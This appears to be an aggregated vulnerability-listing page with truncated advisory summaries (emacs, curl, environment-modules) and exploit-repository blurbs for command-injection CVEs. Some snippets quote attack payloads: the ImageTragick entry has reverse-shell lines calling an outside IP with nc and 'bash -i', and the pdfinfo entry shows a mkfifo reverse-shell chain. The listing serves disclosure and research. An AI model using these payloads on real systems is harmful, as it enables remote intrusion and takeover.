environment-modules security update

5.3.0-2.1 - fix command injection in bash Tab completion CVE-2026-85013...

CVE-2026-112263: Improper Neutralization of Special Elements used in an OS Command

Television tv 0.15.0 through 0.15.9 contains an OS command injection vulnerability that allows attackers to run shell commands through improperly escaped single quotes in formatcommand. Attackers can plant a file with a crafted name containing an apostrophe so that triggering an action like the...

TencentOS Server 4: emacs (TSSA-2026:1176)

The version of Tencent Linux installed on the remote TencentOS Server 4 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2026:1176 advisory. Package updates are available for TencentOS Server 4 that fix the following vulnerabilities:...

Oracle Linux 9 : environment-modules (ELSA-2026-84594)

The remote Oracle Linux 9 host has a package installed that is affected by a vulnerability as referenced in the ELSA-2026-84594 advisory. 5.3.0-2.1 - fix command injection in bash Tab completion CVE-2026-85013 Tenable has extracted the preceding description block directly from the Oracle Linux...

RHEL 10 : emacs (RHSA-2026:84591)

The remote Redhat Enterprise Linux 10 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2026:84591 advisory. GNU Emacs is a powerful, customizable, self-documenting text editor. It provides special code editing features, a scripting language elisp...

Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS : curl vulnerabilities (USN-8932-1)

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-8932-1 advisory. Stanislav Fort discovered that curl did not properly clear AWS SigV4 authentication state when...

RHEL 9 : environment-modules (RHSA-2026:84594)

The remote Redhat Enterprise Linux 9 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2026:84594 advisory. The environment-modules packages provide dynamic modification of user environment using module files. Each module file contains the information need...

CVE-2023-30854

WWBN Avideo Authenticated RCE - OS Command Injection CVE-2023-30854 WWBN Avideo sqlFile $objClone-cloneSiteURLvideos/cache/clones/$json-sqlFile"; $log-add"Clone 2 of $totalSteps: Geting MySQL Dump file"; exec$cmd . " 2&1", $output, $returnval; We can control $objClone-cloneSiteURL through the adm...

CVE-2023-23333

Summary: There is a command injection vulnerability in SolarView Compact through 6.00, attackers can execute commands by bypassing internal restrictions through downloader.php. Vendor: SolarView Compact Affected Product: SolarView Compact Version: SolarView Compact =ver 6.00 poc: curl...

CVE-2023-50094_POC

reNgine 2.2.0 - Command Injection - CVE-2023-50094 Description This Python script exploits an authenticated command injection vulnerability in reNgine 2.2.0. The exploit targets the nmapcmd parameter in the Scan Engine configuration, allowing attackers to execute arbitrary commands. Features...

CVE-2019-15107

CVE-2019-15107 Webmin RCE Error - Perl execution Failed Your password has expired, and a new one must be chosen.uid=0root gid=0root groups=0root Failed to change password : The current password is incorrectuid=0root gid=0root groups...

PoC-CVE-2025-66224

OrangeHRM RCE Exploit - CVE-2025-66224 📋 Description This Proof of Concept PoC demonstrates a Remote Code Execution RCE vulnerability in OrangeHRM through command injection in the sendmailpath configuration parameter. The exploit works by: 1. Injecting a malicious payload into the MySQL database...

CVE-2024-29973

CVE-2024-29973 - Remote Command Injection Vulnerability Description CVE-2024-29973 is a critical vulnerability found in certain Zyxel networking devices. This vulnerability allows an unauthenticated attacker to execute arbitrary commands on the target device by exploiting improper input validatio...

Debuggable-App-Exploit

CVE-2024-31317 Debuggable App Exploit A Python-based exploit for CVE-2024-31317 Android Zygote Injection that makes any installed Android app debuggable by injecting malicious zygote arguments through the hiddenapiblacklistexemptions setting. Includes optional Frida gadget injection for runtime...

CVE-2022-36231

CVE-2022-36231 The ruby gem pdfinfo /dev/null As with the initialize method there is no validation performed on the @pdfpath variable. This allows us to make use of command chaining with ; to execute an arbitrary command. info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat...

CVE-2019-19919

CVE-2019-19919 Handlebars Improper Neutralization of Special Elements in Output Used by a Downstream Component 'Injection' Vulnerability pip install requests packaging python handlebarsscanner.py pip install requests python handlebarsexploit.py Enter the target URL: Exploit Expected Output : Ente...

CVE-2022-30525_check

CVE-2022-30525check Description: This script checks for the presence of the OS command injection vulnerability CVE-2022-30525 in Zyxel USG FLEX devices running firmware versions 5.00 through 5.21 Patch 1. The vulnerability allows an attacker to modify specific files and execute OS commands on a...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2024-10914

cve-2024-10914 Exploit for cve-2024-10914: D-Link DNS-320, DNS-320LW, DNS-325, DNS-340L Version 1.00, Version 1.01.0914.2012, Version 1.01, Version 1.02, Version 1.08 Command Injection...

CVE-2019-5475-Nexus-Repository-Manager-

CVE-2019-5475-Nexus-Repository-Manager- Payload PUT /nexus/service/siesta/capabilities/xxxxxxxxx HTTP/1.1 Host: xxxx.xxxx.com User-Agent: Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language:...